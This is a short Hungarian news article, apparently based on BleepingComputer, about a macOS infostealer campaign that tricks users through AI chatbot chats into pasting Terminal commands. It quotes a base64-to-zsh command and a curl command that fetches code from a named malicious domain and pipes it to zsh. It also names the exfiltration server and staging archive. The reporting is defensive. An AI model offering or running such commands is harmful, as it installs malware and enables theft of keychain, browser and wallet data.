Az MI-trükk ismét támad: veszélyben a Macek

Ártalmas parancsok a parancssorban

A támadók kétféle variációban terjesztik a kártevőt: a felhasználót mindkét esetben arra veszik rá, hogy egy speciális shellparancsot illesszen be a Terminálba. Az egyik verzióban az “echo “…” | base64 -D | zsh”, a másikban a “true && cur””l -SsLfk –compressed “https://raxelpak[.]com/curl/[hash]” | zsh” parancsot használják. Ezek végrehajtásakor a rendszer letölt egy kártevő‑betöltőt, amely érzékeny adatokat gyűjt, például kulcskarika‑adatokat, böngészőadatokat és kriptotárcákat.

Profi adatlopás és eltüntetés

A lopott adatokat a rendszer egy /tmp/osalogging.zip állományba csomagolja, majd az a2abotnet[.]com/gate szerverre küldi őket. Ha elsőre nem sikerül az elküldés, a kártevő az archívumot kisebb darabokra töri, és akár nyolcszor is újra próbálkozik. Sikeres adatküldés után minden nyomot eltakarít a rendszerről, hogy minimálisra csökkentse a lelepleződés esélyét.

Új MI-modellek, régi trükkök

A támadók ugyanazt a háttérinfrastruktúrát használják: korábban már hasonló támadást indítottak a ChatGPT-n és a Grokon keresztül is, most pedig már a Claude-ot is kihasználják. Ez azt jelzi, hogy a csalók egyre több MI‑modellt vonnak be a támadásokba. A szakértők mindenkit óvatosságra intenek: csak akkor futtass terminálparancsokat, ha teljesen biztos vagy a forrásban – akár az MI-t is megkérdezheted ugyanabban a beszélgetésben, hogy megbizonyosodj a parancs biztonságáról.

2025, adrienne, www.bleepingcomputer.com alapján